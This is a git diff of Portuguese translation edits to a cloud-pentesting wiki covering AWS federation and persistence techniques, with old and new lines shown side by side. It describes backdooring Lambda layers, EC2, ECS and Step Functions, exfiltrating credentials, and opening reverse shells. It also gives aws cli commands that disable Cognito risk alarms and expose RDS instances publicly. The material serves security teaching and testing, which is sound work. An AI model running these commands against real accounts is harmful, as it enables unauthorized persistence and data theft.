É recomendável **especificar o usuário que é confiável e não colocar algo genérico**, porque, caso contrário, outros usuários autenticados, como usuários federados, também poderão abusar dessa confiança.
### AWS Simple AD
Não suportado:
- Relações de Confiança
- Centro de Administração do AD
- Suporte completo à API PS
- AD Admin Center
- Suporte total à API PS
- Lixeira do AD
- Contas de Serviço Gerenciadas por Grupo
- Extensões de Esquema
@@ -289,7 +289,7 @@ O aplicativo usa o AssumeRoleWithWebIdentity para criar credenciais temporárias
### Outras opções IAM
- Você pode **definir uma configuração de política de senha** com opções como comprimento mínimo e requisitos de senha.
- Você pode **baixar o "Relatório de Credenciais"** com informações sobre credenciais atuais (como tempo de criação do usuário, se a senha está habilitada...). Você pode gerar um relatório de credenciais com a frequência de uma vez a cada **quatro horas**.
- Você pode **baixar o "Relatório de Credenciais"** com informações sobre credenciais atuais (como tempo de criação do usuário, se a senha está habilitada...). Você pode gerar um relatório de credenciais com frequência de até uma vez a cada **quatro horas**.
O AWS Identity and Access Management (IAM) fornece **controle de acesso detalhado** em toda a AWS. Com o IAM, você pode especificar **quem pode acessar quais serviços e recursos**, e sob quais condições. Com as políticas IAM, você gerencia permissões para sua força de trabalho e sistemas para **garantir permissões de menor privilégio**.
@@ -353,7 +353,7 @@ role_session_name = <session_name>
source_profile = <profile_with_assume_role>
sts_regional_endpoints = regional
```
Com este arquivo de configuração, você pode usar aws cli assim:
Com este arquivo de configuração, você pode então usar aws cli como:
```
aws --profile acc2 ...
```

View File

@@ -16,8 +16,8 @@ Para configurar uma **Federação de Identidade através do SAML**, você só pr
Para adicionar uma ação do github como provedor de identidade:
1. Para _Tipo de provedor_, selecione **OpenID Connect**.
2. Para _URL do provedor_, insira `https://token.actions.githubusercontent.com`
1. Para _Tipo de Provedor_, selecione **OpenID Connect**.
2. Para _URL do Provedor_, insira `https://token.actions.githubusercontent.com`
3. Clique em _Obter impressão digital_ para obter a impressão digital do provedor
4. Para _Público_, insira `sts.amazonaws.com`
5. Crie um **novo papel** com as **permissões** que a ação do github precisa e uma **política de confiança** que confie no provedor como:
@@ -78,7 +78,7 @@ role-session-name: OIDCSession
- run: aws sts get-caller-identity
shell: bash
```
## OIDC - EKS Abuse
## OIDC - Abuso de EKS
```bash
# Crate an EKS cluster (~10min)
eksctl create cluster --name demo --fargate
@@ -88,7 +88,7 @@ eksctl create cluster --name demo --fargate
# Create an Identity Provider for an EKS cluster
eksctl utils associate-iam-oidc-provider --cluster Testing --approve
```
É possível gerar **OIDC providers** em um **EKS** cluster simplesmente definindo a **OIDC URL** do cluster como um **novo provedor de identidade Open ID**. Esta é uma política padrão comum:
É possível gerar **provedores OIDC** em um cluster **EKS** simplesmente definindo a **URL OIDC** do cluster como um **novo provedor de identidade Open ID**. Esta é uma política padrão comum:
```json
{
"Version": "2012-10-17",
@@ -108,7 +108,7 @@ eksctl utils associate-iam-oidc-provider --cluster Testing --approve
]
}
```
Esta política está corretamente indicando que **apenas** o **cluster EKS** com **id** `20C159CDF6F2349B68846BEC03BE031B` pode assumir a função. No entanto, não está indicando qual conta de serviço pode assumi-la, o que significa que **QUALQUER conta de serviço com um token de identidade da web** poderá **assumir** a função.
Esta política está indicando corretamente que **apenas** o **cluster EKS** com **id** `20C159CDF6F2349B68846BEC03BE031B` pode assumir a função. No entanto, não está indicando qual conta de serviço pode assumi-la, o que significa que **QUALQUER conta de serviço com um token de identidade da web** poderá **assumir** a função.
Para especificar **qual conta de serviço deve ser capaz de assumir a função,** é necessário especificar uma **condição** onde o **nome da conta de serviço é especificado**, como:
```bash

View File

@@ -10,8 +10,8 @@ Estas são as permissões que você precisa em cada conta AWS que deseja auditar
- **access-analyzer:Get\***
- **iam:CreateServiceLinkedRole**
- **access-analyzer:CreateAnalyzer**
- Opcional se o cliente gerar os analisadores para você, mas geralmente é mais fácil apenas pedir essa permissão)
- Opcional se o cliente gerar os analisadores para você, mas geralmente é mais fácil apenas pedir por essa permissão)
- **access-analyzer:DeleteAnalyzer**
- Opcional se o cliente remover os analisadores para você, mas geralmente é mais fácil apenas pedir essa permissão)
- Opcional se o cliente remover os analisadores para você, mas geralmente é mais fácil apenas pedir por essa permissão)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -21,12 +21,12 @@ Ou simplesmente remova o uso do autorizador.
### Permissões IAM
Se um recurso estiver usando autorizador IAM, você pode conceder a si mesmo acesso a ele modificando as permissões IAM.\
Se um recurso estiver usando autorizador IAM, você pode se conceder acesso a ele modificando as permissões IAM.\
Ou simplesmente remova o uso do autorizador.
### Chaves de API
Se chaves de API forem usadas, você pode vazá-las para manter a persistência ou até mesmo criar novas.\
Ou simplesmente remova o uso de chaves de API.
Ou simplesmente remova o uso das chaves de API.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -16,7 +16,7 @@ Cognito é um serviço que permite atribuir funções a usuários não autentica
- **Adicionar um User Pool** controlado pelo usuário a um Identity Pool
- Dar uma **função IAM a um Identity Pool não autenticado e permitir o fluxo de autenticação básica**
- Ou a um **Identity Pool autenticado** se o atacante conseguir fazer login
- Ou a um **Identity Pool autenticado** se o atacante puder fazer login
- Ou **melhorar as permissões** das funções dadas
- **Criar, verificar e privesc** via atributos controlados por usuários ou novos usuários em um **User Pool**
- **Permitir provedores de identidade externos** para fazer login em um User Pool ou em um Identity Pool
@@ -29,7 +29,7 @@ Verifique como realizar essas ações em
### `cognito-idp:SetRiskConfiguration`
Um atacante com esse privilégio poderia modificar a configuração de risco para conseguir fazer login como um usuário do Cognito **sem que alarmes sejam acionados**. [**Confira o cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) para verificar todas as opções:
Um atacante com esse privilégio poderia modificar a configuração de risco para poder fazer login como um usuário Cognito **sem que alarmes sejam acionados**. [**Confira o cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) para verificar todas as opções:
```bash
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
```

View File

@@ -1,4 +1,4 @@
# AWS - EC2 Persistence
# AWS - Persistência EC2
{{#include ../../../banners/hacktricks-training.md}}
@@ -14,12 +14,12 @@ Para mais informações, consulte:
Se um defensor descobrir que uma **instância EC2 foi comprometida**, ele provavelmente tentará **isolar** a **rede** da máquina. Ele poderia fazer isso com um **Deny NACL** explícito (mas os NACLs afetam toda a sub-rede), ou **mudando o grupo de segurança** para não permitir **qualquer tipo de tráfego de entrada ou saída**.
Se o atacante tiver um **shell reverso originado da máquina**, mesmo que o SG seja modificado para não permitir tráfego de entrada ou saída, a **conexão não será encerrada devido ao** [**Rastreamento de Conexão do Grupo de Segurança**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
Se o atacante tiver um **reverse shell originado da máquina**, mesmo que o SG seja modificado para não permitir tráfego de entrada ou saída, a **conexão não será encerrada devido ao** [**Rastreamento de Conexão do Grupo de Segurança**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
### Gerenciador de Ciclo de Vida do EC2
### Gerenciador de Ciclo de Vida EC2
Este serviço permite **agendar** a **criação de AMIs e snapshots** e até mesmo **compartilhá-los com outras contas**.\
Um atacante poderia configurar a **geração de AMIs ou snapshots** de todas as imagens ou todos os volumes **toda semana** e **compartilhá-los com sua conta**.
Um atacante poderia configurar a **geração de AMIs ou snapshots** de todas as imagens ou de todos os volumes **toda semana** e **compartilhá-los com sua conta**.
### Instâncias Agendadas
@@ -27,27 +27,27 @@ Um atacante poderia configurar a **geração de AMIs ou snapshots** de todas as
### Solicitação de Frota Spot
Instâncias spot são **mais baratas** do que instâncias regulares. Um atacante poderia lançar uma **pequena solicitação de frota spot por 5 anos** (por exemplo), com **atribuição automática de IP** e um **dados do usuário** que envia para o atacante **quando a instância spot iniciar** e o **endereço IP** e com um **papel IAM de alto privilégio**.
Instâncias spot são **mais baratas** do que instâncias regulares. Um atacante poderia lançar uma **pequena solicitação de frota spot por 5 anos** (por exemplo), com **atribuição automática de IP** e um **user data** que envia para o atacante **quando a instância spot iniciar** e o **endereço IP** e com um **papel IAM de alto privilégio**.
### Instâncias de Backdoor
Um atacante poderia obter acesso às instâncias e backdoor elas:
- Usando um **rootkit** tradicional, por exemplo
- Adicionando uma nova **chave SSH pública** (ver [opções de privesc do EC2](../aws-privilege-escalation/aws-ec2-privesc.md))
- Backdooring os **Dados do Usuário**
- Adicionando uma nova **chave SSH pública** (ver [opções de privesc EC2](../aws-privilege-escalation/aws-ec2-privesc.md))
- Backdooring os **User Data**
### **Configuração de Lançamento de Backdoor**
- Backdoor a AMI utilizada
- Backdoor os Dados do Usuário
- Backdoor os User Data
- Backdoor o Par de Chaves
### VPN
Criar uma VPN para que o atacante possa se conectar diretamente através dela ao VPC.
### Peering de VPC
### Peering VPC
Criar uma conexão de peering entre o VPC da vítima e o VPC do atacante para que ele possa acessar o VPC da vítima.

View File

@@ -12,7 +12,7 @@ Para mais informações, consulte:
### Imagem Docker Oculta com Código Malicioso
Um atacante poderia **carregar uma imagem Docker contendo código malicioso** em um repositório ECR e usá-la para manter a persistência na conta AWS alvo. O atacante poderia então implantar a imagem maliciosa em vários serviços dentro da conta, como Amazon ECS ou EKS, de maneira furtiva.
Um atacante poderia **fazer upload de uma imagem Docker contendo código malicioso** para um repositório ECR e usá-la para manter a persistência na conta AWS alvo. O atacante poderia então implantar a imagem maliciosa em vários serviços dentro da conta, como Amazon ECS ou EKS, de maneira furtiva.
### Política do Repositório
@@ -43,7 +43,7 @@ aws ecr set-repository-policy \
> [!WARNING]
> Note que o ECR requer que os usuários tenham **permissão** para fazer chamadas à API **`ecr:GetAuthorizationToken`** através de uma política IAM **antes que possam se autenticar** em um registro e enviar ou puxar quaisquer imagens de qualquer repositório Amazon ECR.
### Política de Registro & Replicação entre Contas
### Política de Registro e Replicação entre Contas
É possível replicar automaticamente um registro em uma conta externa configurando a replicação entre contas, onde você precisa **indicar a conta externa** onde deseja replicar o registro.

View File

@@ -1,4 +1,4 @@
# AWS - ECS Persistence
# AWS - Persistência do ECS
{{#include ../../../banners/hacktricks-training.md}}
@@ -10,12 +10,12 @@ Para mais informações, consulte:
../aws-services/aws-ecs-enum.md
{{#endref}}
### Tarefa Periódica ECS Oculta
### Tarefa Periódica Oculta do ECS
> [!NOTE]
> TODO: Testar
Um atacante pode criar uma tarefa periódica ECS oculta usando o Amazon EventBridge para **agendar a execução de uma tarefa maliciosa periodicamente**. Esta tarefa pode realizar reconhecimento, exfiltrar dados ou manter persistência na conta AWS.
Um atacante pode criar uma tarefa periódica oculta do ECS usando o Amazon EventBridge para **agendar a execução de uma tarefa maliciosa periodicamente**. Esta tarefa pode realizar reconhecimento, exfiltrar dados ou manter persistência na conta AWS.
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
@@ -44,12 +44,12 @@ aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
}
]'
```
### Backdoor Container em Definição de Tarefa ECS Existente
### Contêiner de Backdoor na Definição de Tarefa ECS Existente
> [!NOTE]
> TODO: Testar
Um atacante pode adicionar um **container de backdoor furtivo** em uma definição de tarefa ECS existente que roda ao lado de containers legítimos. O container de backdoor pode ser usado para persistência e realizar atividades maliciosas.
Um atacante pode adicionar um **contêiner de backdoor furtivo** em uma definição de tarefa ECS existente que roda ao lado de contêineres legítimos. O contêiner de backdoor pode ser usado para persistência e realização de atividades maliciosas.
```bash
# Update the existing task definition to include the backdoor container
aws ecs register-task-definition --family "existing-task" --container-definitions '[

View File

@@ -12,7 +12,7 @@ Para mais informações, consulte:
### Persistência na Instância
Para manter a persistência dentro da conta AWS, algum **mecanismo de persistência poderia ser introduzido dentro da instância** (cron job, chave ssh...) para que o atacante possa acessá-la e roubar as **credenciais do IAM role do serviço de metadados**.
Para manter a persistência dentro da conta AWS, alguns **mecanismos de persistência podem ser introduzidos dentro da instância** (cron job, chave ssh...) para que o atacante possa acessá-la e roubar as **credenciais do IAM role do serviço de metadados**.
### Backdoor na Versão
@@ -27,7 +27,7 @@ Em vez de alterar o código na versão atual, o atacante poderia implantar uma n
> [!NOTE]
> TODO: Testar
O Elastic Beanstalk fornece hooks de ciclo de vida que permitem executar scripts personalizados durante o provisionamento e a terminação da instância. Um atacante poderia **configurar um hook de ciclo de vida para executar periodicamente um script que exfiltra dados ou mantém o acesso à conta AWS**.
O Elastic Beanstalk fornece hooks de ciclo de vida que permitem executar scripts personalizados durante a provisão e a terminação da instância. Um atacante poderia **configurar um hook de ciclo de vida para executar periodicamente um script que exfiltra dados ou mantém acesso à conta AWS**.
```bash
bashCopy code# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash

View File

@@ -32,6 +32,6 @@ aws kms create-grant \
aws kms list-grants --key-id <key-id>
```
> [!NOTE]
> Um grant pode conceder permissões apenas a partir disso: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
> Uma concessão pode conceder permissões apenas a partir disso: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -43,7 +43,7 @@ Dessa forma, um atacante poderia criar uma **versão 1 com backdoor** e uma **ve
### Backdoor de Versão + API Gateway
1. Copie o código original do Lambda
2. **Crie uma nova versão backdooring** o código original (ou apenas com código malicioso). Publique e **implante essa versão** em $LATEST
2. **Crie uma nova versão com backdoor** no código original (ou apenas com código malicioso). Publique e **implante essa versão** em $LATEST
1. Chame o API gateway relacionado ao lambda para executar o código
3. **Crie uma nova versão com o código original**, publique e implante essa **versão** em $LATEST.
1. Isso ocultará o código com backdoor em uma versão anterior

View File

@@ -4,10 +4,10 @@
## Extensões Lambda
As extensões Lambda aprimoram funções integrando-se a várias **ferramentas de monitoramento, observabilidade, segurança e governança**. Essas extensões, adicionadas via [.zip archives usando camadas Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) ou incluídas em [implantações de imagens de contêiner](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operam em dois modos: **interno** e **externo**.
As extensões Lambda aprimoram funções integrando-se a várias **ferramentas de monitoramento, observabilidade, segurança e governança**. Essas extensões, adicionadas via [.zip archives usando Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) ou incluídas em [implantações de imagens de contêiner](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operam em dois modos: **interno** e **externo**.
- **Extensões internas** se fundem com o processo de tempo de execução, manipulando seu início usando **variáveis de ambiente específicas de linguagem** e **scripts de wrapper**. Essa personalização se aplica a uma variedade de tempos de execução, incluindo **Java Correto 8 e 11, Node.js 10 e 12, e .NET Core 3.1**.
- **Extensões externas** são executadas como processos separados, mantendo a operação alinhada com o ciclo de vida da função Lambda. Elas são compatíveis com vários tempos de execução, como **Node.js 10 e 12, Python 3.7 e 3.8, Ruby 2.5 e 2.7, Java Corretto 8 e 11, .NET Core 3.1**, e **tempos de execução personalizados**.
- **Extensões internas** se fundem com o processo de runtime, manipulando seu início usando **variáveis de ambiente específicas de linguagem** e **scripts wrapper**. Essa personalização se aplica a uma variedade de runtimes, incluindo **Java Correto 8 e 11, Node.js 10 e 12, e .NET Core 3.1**.
- **Extensões externas** funcionam como processos separados, mantendo a operação alinhada com o ciclo de vida da função Lambda. Elas são compatíveis com vários runtimes como **Node.js 10 e 12, Python 3.7 e 3.8, Ruby 2.5 e 2.7, Java Corretto 8 e 11, .NET Core 3.1**, e **runtimes personalizados**.
Para mais informações sobre [**como as extensões lambda funcionam, consulte a documentação**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
@@ -15,24 +15,24 @@ Para mais informações sobre [**como as extensões lambda funcionam, consulte a
Este é um resumo da técnica proposta neste post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
Foi descoberto que o kernel Linux padrão no ambiente de execução Lambda é compilado com chamadas de sistema “**process_vm_readv**” e “**process_vm_writev**”. E todos os processos são executados com o mesmo ID de usuário, mesmo o novo processo criado para a extensão externa. **Isso significa que uma extensão externa tem acesso total de leitura e gravação à memória heap do Rapid, por design.**
Foi descoberto que o kernel Linux padrão no ambiente de runtime Lambda é compilado com chamadas de sistema “**process_vm_readv**” e “**process_vm_writev**”. E todos os processos são executados com o mesmo ID de usuário, mesmo o novo processo criado para a extensão externa. **Isso significa que uma extensão externa tem acesso total de leitura e escrita à memória heap do Rapid, por design.**
Além disso, enquanto as extensões Lambda têm a capacidade de **se inscrever em eventos de invocação**, a AWS não revela os dados brutos para essas extensões. Isso garante que **as extensões não podem acessar informações sensíveis** transmitidas via a requisição HTTP.
O processo Init (Rapid) monitora todas as requisições de API em [http://127.0.0.1:9001](http://127.0.0.1:9001/) enquanto as extensões Lambda são inicializadas e executadas antes da execução de qualquer código de tempo de execução, mas após o Rapid.
O processo Init (Rapid) monitora todas as requisições de API em [http://127.0.0.1:9001](http://127.0.0.1:9001/) enquanto as extensões Lambda são inicializadas e executadas antes da execução de qualquer código de runtime, mas após o Rapid.
<figure><img src="../../../../images/image (254).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png</a></p></figcaption></figure>
A variável **`AWS_LAMBDA_RUNTIME_API`** indica o **IP** e o número da **porta** da API Rapid para **processos de tempo de execução filhos** e extensões adicionais.
A variável **`AWS_LAMBDA_RUNTIME_API`** indica o **IP** e o **número da porta** da API Rapid para **processos de runtime filhos** e extensões adicionais.
> [!WARNING]
> Ao alterar a variável de ambiente **`AWS_LAMBDA_RUNTIME_API`** para uma **`porta`** à qual temos acesso, é possível interceptar todas as ações dentro do tempo de execução Lambda (**man-in-the-middle**). Isso é possível porque a extensão é executada com os mesmos privilégios que o Rapid Init, e o kernel do sistema permite a **modificação da memória do processo**, possibilitando a alteração do número da porta.
> Ao alterar a variável de ambiente **`AWS_LAMBDA_RUNTIME_API`** para uma **`porta`** à qual temos acesso, é possível interceptar todas as ações dentro do runtime Lambda (**man-in-the-middle**). Isso é possível porque a extensão é executada com os mesmos privilégios que o Rapid Init, e o kernel do sistema permite a **modificação da memória do processo**, possibilitando a alteração do número da porta.
Como **as extensões são executadas antes de qualquer código de tempo de execução**, modificar a variável de ambiente influenciará o processo de tempo de execução (por exemplo, Python, Java, Node, Ruby) à medida que ele inicia. Além disso, **extensões carregadas após** a nossa, que dependem dessa variável, também serão roteadas através da nossa extensão. Essa configuração poderia permitir que malware contornasse completamente as medidas de segurança ou extensões de registro diretamente dentro do ambiente de tempo de execução.
Como **as extensões são executadas antes de qualquer código de runtime**, modificar a variável de ambiente influenciará o processo de runtime (por exemplo, Python, Java, Node, Ruby) à medida que ele inicia. Além disso, **extensões carregadas após** a nossa, que dependem dessa variável, também serão roteadas através da nossa extensão. Essa configuração poderia permitir que malware contornasse completamente as medidas de segurança ou extensões de registro diretamente dentro do ambiente de runtime.
<figure><img src="../../../../images/image (267).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png</a></p></figcaption></figure>
A ferramenta [**lambda-spy**](https://github.com/clearvector/lambda-spy) foi criada para realizar essa **gravação de memória** e **roubar informações sensíveis** de requisições lambda, outras **requisições de extensões** e até mesmo **modificá-las**.
A ferramenta [**lambda-spy**](https://github.com/clearvector/lambda-spy) foi criada para realizar essa **escrita de memória** e **roubar informações sensíveis** de requisições lambda, outras **requisições de extensões** e até mesmo **modificá-las**.
## Referências

View File

@@ -21,20 +21,20 @@ O caminho de carregamento que o Python usará na lambda é o seguinte:
Verifique como as **segundas** e **terceiras** **posições** são ocupadas por diretórios onde **lambda layers** descompactam seus arquivos: **`/opt/python/lib/python3.9/site-packages`** e **`/opt/python`**
> [!CAUTION]
> Se um atacante conseguir **backdoor** uma **layer** lambda usada ou **adicionar uma** que estará **executando código arbitrário quando uma biblioteca comum for carregada**, ele poderá executar código malicioso com cada invocação da lambda.
> Se um atacante conseguir **backdoor** em uma **layer** lambda usada ou **adicionar uma** que estará **executando código arbitrário quando uma biblioteca comum for carregada**, ele poderá executar código malicioso com cada invocação de lambda.
Portanto, os requisitos são:
- **Verificar bibliotecas** que são **carregadas** pelo código das vítimas
- **Verificar bibliotecas** que estão **carregadas** pelo código das vítimas
- Criar uma **biblioteca proxy com lambda layers** que irá **executar código personalizado** e **carregar a biblioteca original**.
### Bibliotecas pré-carregadas
> [!WARNING]
> Ao abusar dessa técnica, encontrei uma dificuldade: Algumas bibliotecas já estão **carregadas** no tempo de execução do python quando seu código é executado. Eu esperava encontrar coisas como `os` ou `sys`, mas **até a biblioteca `json` estava carregada**.\
> Ao abusar dessa técnica, encontrei uma dificuldade: Algumas bibliotecas já estão **carregadas** no runtime do python quando seu código é executado. Eu esperava encontrar coisas como `os` ou `sys`, mas **até a biblioteca `json` estava carregada**.\
> Para abusar dessa técnica de persistência, o código precisa **carregar uma nova biblioteca que não esteja carregada** quando o código é executado.
Com um código python como este, é possível obter a **lista de bibliotecas que estão pré-carregadas** dentro do tempo de execução do python na lambda:
Com um código python como este, é possível obter a **lista de bibliotecas que estão pré-carregadas** dentro do runtime do python em lambda:
```python
import sys
@@ -50,7 +50,7 @@ E esta é a **lista** (verifique se bibliotecas como `os` ou `json` já estão l
```
E esta é a lista de **bibliotecas** que **lambda inclui instaladas por padrão**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
### Backdooring de Camada Lambda
### Backdooring de Lambda Layer
Neste exemplo, vamos supor que o código alvo está importando **`csv`**. Vamos **backdoor a importação da biblioteca `csv`**.
@@ -96,13 +96,13 @@ O payload integrado **enviará as credenciais IAM para um servidor NA PRIMEIRA V
### Camadas Externas
Note que é possível usar **camadas lambda de contas externas**. Além disso, uma lambda pode usar uma camada de uma conta externa mesmo que não tenha permissões.\
Também note que o **número máximo de camadas que uma lambda pode ter é 5**.
Além disso, o **número máximo de camadas que uma lambda pode ter é 5**.
Portanto, para melhorar a versatilidade desta técnica, um atacante poderia:
- Backdoor uma camada existente do usuário (nada é externo)
- **Criar** uma **camada** em **sua conta**, dar **acesso à conta da vítima** para usar a camada, **configurar** a **camada** na Lambda da vítima e **remover a permissão**.
- A **Lambda** ainda poderá **usar a camada** e a **vítima não** terá nenhuma maneira fácil de **baixar o código das camadas** (além de conseguir um rev shell dentro da lambda)
- A **Lambda** ainda poderá **usar a camada** e a **vítima não** terá uma maneira fácil de **baixar o código das camadas** (além de conseguir um rev shell dentro da lambda)
- A vítima **não verá camadas externas** usadas com **`aws lambda list-layers`**
```bash
# Upload backdoor layer

View File

@@ -12,11 +12,11 @@ Para mais informações, consulte:
### Baixar chaves SSH da instância e senhas do DB
Elas provavelmente não serão alteradas, então tê-las é uma boa opção para persistência
Elas provavelmente não serão alteradas, então tê-las é uma boa opção para persistência.
### Backdoor Instances
### Backdoor em Instâncias
Um atacante poderia obter acesso às instâncias e backdoor elas:
Um atacante poderia acessar as instâncias e backdoor elas:
- Usando um **rootkit** tradicional, por exemplo
- Adicionando uma nova **chave SSH pública**
@@ -26,7 +26,7 @@ Um atacante poderia obter acesso às instâncias e backdoor elas:
Se os domínios estiverem configurados:
- Crie um subdomínio apontando seu IP para que você tenha uma **subdomain takeover**
- Crie um subdomínio apontando para seu IP para que você tenha uma **subdomain takeover**
- Crie um registro **SPF** permitindo que você envie **emails** do domínio
- Configure o **IP do domínio principal para o seu próprio** e realize um **MitM** do seu IP para os legítimos

View File

@@ -1,4 +1,4 @@
# AWS - RDS Persistence
# AWS - Persistência RDS
{{#include ../../../banners/hacktricks-training.md}}
@@ -16,9 +16,9 @@ Um atacante com esta permissão pode **modificar uma instância RDS existente pa
```bash
aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
```
### Criar um usuário admin dentro do DB
### Criar um usuário administrador dentro do DB
Um atacante poderia **criar um usuário dentro do DB** para que mesmo se a senha do usuário master for modificada, ele **não perca o acesso** ao banco de dados.
Um atacante poderia simplesmente **criar um usuário dentro do DB** para que mesmo se a senha do usuário master for modificada, ele **não perca o acesso** ao banco de dados.
### Tornar o snapshot público
```bash

View File

@@ -10,7 +10,7 @@ Para mais informações, consulte:
../aws-services/aws-s3-athena-and-glacier-enum.md
{{#endref}}
### KMS Criptografia do Lado do Cliente
### KMS Client-Side Encryption
Quando o processo de criptografia é concluído, o usuário usará a API KMS para gerar uma nova chave (`aws kms generate-data-key`) e ele **armazenará a chave criptografada gerada dentro dos metadados** do arquivo ([exemplo de código python](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) para que, quando a descriptografia ocorrer, ele possa descriptografá-la usando o KMS novamente:
@@ -18,8 +18,8 @@ Quando o processo de criptografia é concluído, o usuário usará a API KMS par
Portanto, um atacante poderia obter essa chave dos metadados e descriptografar com KMS (`aws kms decrypt`) para obter a chave usada para criptografar as informações. Dessa forma, o atacante terá a chave de criptografia e, se essa chave for reutilizada para criptografar outros arquivos, ele poderá usá-la.
### Usando ACLs do S3
### Using S3 ACLs
Embora geralmente as ACLs dos buckets estejam desativadas, um atacante com privilégios suficientes poderia abusar delas (se ativadas ou se o atacante puder ativá-las) para manter o acesso ao bucket S3.
Embora geralmente as ACLs de buckets estejam desativadas, um atacante com privilégios suficientes poderia abusar delas (se ativadas ou se o atacante puder ativá-las) para manter o acesso ao bucket S3.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -65,7 +65,7 @@ A seguinte política dá a todos na AWS acesso para ler e escrever no tópico SN
```
### Criar Assinantes
Para continuar a exfiltrar todas as mensagens de todos os tópicos, o atacante poderia **criar assinantes para todos os tópicos**.
Para continuar exfiltrando todas as mensagens de todos os tópicos, o atacante pode **criar assinantes para todos os tópicos**.
Observe que se o **tópico for do tipo FIFO**, apenas assinantes usando o protocolo **SQS** podem ser utilizados.
```bash

View File

@@ -32,6 +32,6 @@ A seguinte política dá a todos na AWS acesso a tudo na fila chamada **MyTestQu
}
```
> [!NOTE]
> Você poderia até **disparar um Lambda na conta do atacante toda vez que uma nova mensagem** for colocada na fila (você precisaria re-colocá-la) de alguma forma. Para isso, siga estas instruções: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
> Você poderia até **disparar uma Lambda na conta dos atacantes toda vez que uma nova mensagem** for colocada na fila (você precisaria re-colocá-la) de alguma forma. Para isso, siga estas instruções: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1 +1 @@
# AWS - SSM Perssitence
# AWS - Persistência SSM

View File

@@ -1,8 +1,8 @@
# AWS - Persistência de Funções de Passo
# AWS - Persistência em Step Functions
{{#include ../../../banners/hacktricks-training.md}}
## Funções de Passo
## Step Functions
Para mais informações, consulte:
@@ -10,12 +10,12 @@ Para mais informações, consulte:
../aws-services/aws-stepfunctions-enum.md
{{#endref}}
### Backdooring de Função de Passo
### Backdooring de Step Functions
Backdoor uma função de passo para fazer com que ela execute qualquer truque de persistência, de modo que toda vez que for executada, ela execute seus passos maliciosos.
Backdoor uma step function para fazer com que ela execute qualquer truque de persistência, de modo que toda vez que for executada, rodará seus passos maliciosos.
### Backdooring de aliases
Se a conta AWS estiver usando aliases para chamar funções de passo, seria possível modificar um alias para usar uma nova versão backdoored da função de passo.
Se a conta AWS estiver usando aliases para chamar step functions, seria possível modificar um alias para usar uma nova versão backdoored da step function.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,4 +1,4 @@
# AWS - STS Persistence
# AWS - Persistência STS
{{#include ../../../banners/hacktricks-training.md}}
@@ -12,7 +12,7 @@ Para mais informações, acesse:
### Token de função assumida
Tokens temporários não podem ser listados, então manter um token temporário ativo é uma forma de manter a persistência.
Tokens temporários não podem ser listados, então manter um token temporário ativo é uma maneira de manter a persistência.
<pre class="language-bash"><code class="lang-bash">aws sts get-session-token --duration-seconds 129600
@@ -40,7 +40,7 @@ optional arguments:
-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
```
> [!CAUTION]
> Note que o script [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) daquele repositório do Github não encontra todas as maneiras como uma cadeia de funções pode ser configurada.
> Observe que o script [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) daquele repositório do Github não encontra todas as maneiras de uma cadeia de funções ser configurada.
<details>

View File

@@ -15,13 +15,13 @@ Para mais informações, consulte:
Você pode criar um endpoint em [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) com o serviço `com.amazonaws.us-east-1.execute-api`, expor o endpoint em uma rede onde você tenha acesso (potencialmente via uma máquina EC2) e atribuir um grupo de segurança permitindo todas as conexões.\
Então, a partir da máquina EC2, você poderá acessar o endpoint e, portanto, chamar a API do gateway que não estava exposta anteriormente.
### Bypass do passthrough do corpo da requisição
